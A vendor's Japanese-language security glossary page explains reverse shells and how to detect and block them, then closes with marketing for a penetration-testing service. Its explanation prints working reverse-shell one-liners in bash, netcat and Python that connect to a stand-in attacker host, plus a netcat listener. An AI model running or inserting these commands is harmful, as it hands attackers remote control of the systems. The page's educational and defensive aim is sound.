Application Security

リバースシェルとは何ですか?

リバースシェルは、被害者のコンピュータが攻撃者のコンピュータへの接続を開始するリモートシェルです。

リバースシェル

TL;DR: リバースシェル

リバースシェル、またはコネクトバックシェルとは、侵害されたシステムが攻撃者に接続し、ライブのコマンドラインセッションを提供することです。

なぜこれが重要なのか?

  • リバースシェルはファイアウォールを回避できる ため、ほとんどのファイアウォールは受信接続をブロックしますが、送信接続は許可します。
  • 攻撃者は実際の制御を得る ため、直接ログインしているかのようにコマンドを実行できます。
  • リバースシェルは非常に一般的です 侵害されたシステムを攻撃者が利用する標準的なステップです。

このように考えてみてください:攻撃者が侵入しようとする代わりに、サーバーをだまして攻撃者に接続させます。

リバースシェルとは?

リバースシェルは、被害者のコンピュータが攻撃者のコンピュータに接続を開始するリモートシェルです。

通常、あなたのコンピュータが接続を開始します。例えば、ウェブサイトを訪れるときのように。リバースシェルではこれが逆になります。攻撃者がコードを実行する方法を見つけた後、サーバーは攻撃者に接続します。

覚えやすい方法:

  • バインドシェル: サーバーに接続しようとします。ファイアウォールがブロックすると、通過できません。
  • リバースシェル: サーバーがあなたに接続します。送信接続は通常許可されているため、応答して制御を取得できます。

リバースシェルが重要な理由

セキュリティチームは通常、ファイアウォール、ロードバランサー、ポート制限などの防御に焦点を当てます。これらは、攻撃者がシステム内でコードを実行するまで機能します。

それが起こると、リバースシェルは攻撃者が滞在するための主要な手段になります。

なぜこれが危険なのか:

  • アウトバウンドトラフィックが信頼されている。

    ファイアウォールは、更新やAPIのためにポート80や443でのアウトゴーイングトラフィックを許可することがよくあります。リバースシェルは、この許可されたトラフィックに隠れることができます。

  • 攻撃者がアクセスを維持できる。

    元のセキュリティホールが修正されたとしても、アクティブなシェルがあれば攻撃者はシステムを制御し続けることができます。

  • 横方向の移動を可能にする。

    シェルを使用すると、攻撃者は内部ネットワークを調査し、パスワードを盗み、他のコンピュータに移動することができます。一つの脆弱性がすぐに環境全体の妥協につながる可能性があります。

リバースシェルの仕組み

リバースシェルには主に2つの部分があります: リスナーペイロード

1. リスナー (攻撃者側)

攻撃者は接続を待つプログラムを使用します。Netcatはそのための一般的なツールです。

nc -lvnp 4444

このコマンドは、攻撃者のコンピュータにポート4444で接続を待つよう指示します。

2. ペイロード (被害者側)

リモートコード実行のような脆弱性を見つけた後、攻撃者は被害者のサーバーでコマンドを実行してシェルを開き、それを送り返します。

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

このコマンドはbashシェルを開始し、すべての入力と出力を攻撃者のコンピュータに送信します。

3. 接続

被害者のサーバーはアウトゴーイング接続を開始します。ファイアウォールはこれを通常のものと見なし、許可します。攻撃者のリスナーは接続を受け入れ、攻撃者にサーバー上でのライブシェルを提供します。

この段階で、攻撃者はサーバーを完全にインタラクティブに制御できます。

一般的なリバースシェルの例

攻撃者と倫理的ハッカーは、ターゲットシステム上で利用可能なツールに基づいてアプローチを調整します。

Bash (Linuxで一般的)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

ターゲットマシンでNetcatが利用可能な場合に使用されます。

nc -e /bin/sh 10.0.0.1 4444

Python

Pythonは現代のサーバーで非常に一般的です。

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

リバースシェル vs バインドシェル

リバースシェルとバインドシェルの違いを知ることは、ネットワーク防御に役立ちます。

特徴バインドシェルリバースシェル
接続方向攻撃者から被害者へ被害者から攻撃者へ
ファイアウォールの影響しばしばブロックされるしばしば許可される
ネットワーク要件直接アクセスが必要NATやファイアウォールを通じて動作
典型的な使用例内部ネットワーク実際の攻撃

リバースシェルを使用するのは誰か?

  • ペネトレーションテスターは、脆弱性が完全なシステム侵害につながることを証明するためにリバースシェルを使用します。
  • レッドチームは、アウトバウンドトラフィックがどれだけ制御されているかをテストするためにリバースシェルを使用します。
  • 悪意のあるアクターは、ランサムウェアの展開、データの盗難、ネットワーク内でのさらなる移動のためにリバースシェルを使用します。
  • システム管理者は、リモートアクセスのためにリバースシェルを使用することはほとんどありません。通常は安全なSSHトンネルを好みます。

検出と防止

リバースシェルを止めるには、複数の防御層が必要です。

  • アウトバウンドトラフィックフィルタリング

    サーバーはインターネットへのオープンアクセスを持つべきではありません。使用できる宛先とポートを制限してください。

  • 動作監視

    Webサーバーが/bin/bashやcmd.exeのようなシェルプロセスを生成することは非常に疑わしいです。

  • 攻撃面の削減

    Netcat、コンパイラ、余分なインタープリターなどの未使用ツールを本番システムから削除してください。

関連用語

  • リモートコード実行 (RCE)
  • バインドシェル

FAQ: リバースシェル

リバースシェルは違法ですか?

リバースシェルは、所有するシステムやテストの明確な許可を得たシステムで使用する場合のみ合法です。許可なしで使用することは違法です。

なぜファイアウォールはリバースシェルを許可するのですか?

ファイアウォールは通常、外部からの脅威をブロックするように設計されており、通常は送信トラフィックを信頼します。リバースシェルはこれを利用します。

ウイルス対策ソフトはリバースシェルを検出できますか?

時々。署名を使用するウイルス対策ソフトウェアは、既知のシェルプログラムを見つけることができますが、BashやPythonで作成されたファイルレスシェルは検出が非常に困難です。

リバースシェルとウェブシェルの違いは何ですか?

ウェブシェルはブラウザを通じて使用され、通常システムに留まりますが、機能が制限されています。リバースシェルはライブでインタラクティブなコマンドラインセッションを提供します。

Ready to validate what matters?

Ready to validate what matters?

Plexicus is Proof-Driven AppSec: validated findings, contextual understanding, and reviewed remediation — anchored in evidence, scoped with you.

Qualification

Check whether AI Swarm Pentest fits your environment.

Share the minimum context. We will review the scope and tell you the next commercial step.

Before submitting — verify you fit

Teams with fewer than 50 developers: start a 14-day Trial instead of booking a demo. Start a 14-day Trial →

0 / 280

No commitment. If you don't fit, we'll tell you.

SAMPLE HANDOVER · ILLUSTRATIVE

Sample evidence handover

A trimmed view of what your team receives at the end of an AI Swarm Pentest engagement. Real engagements include full technical evidence, executive narrative, and a remediation plan.

VALIDATED FINDING Evidence attached

Server-Side Request Forgery in webhooks/receiver

demo-project/sample-app · src/webhooks/receiver.py:42

SeverityHigh CVSS 3.18.6 Priority79 Confirmedvia replay

Untrusted caller-supplied URLs reach an internal egress without an allowlist. Replayed in a sandbox against a fresh authorised target — the same control was validated to fail twice.

REVIEWER-READY REMEDIATION Merge-ready PR

Validate the target URL against an allowlist of permitted hostnames. Reject private/internal IP ranges. Enforce HTTPS only.

plexicus/remediation/webhooks-ssrf 3 changed · 0 new files
42resp = requests.get(target_url)
42+if not is_allowed_host(target_url):
43+  raise WebhookRejected(target_url)
44+resp = requests.get(target_url, timeout=5)
Every engagement hands over:
  • Executive briefing
  • Validated findings list
  • Merge-ready PRs
  • Compliance mapping (NIS2 · DORA · CRA)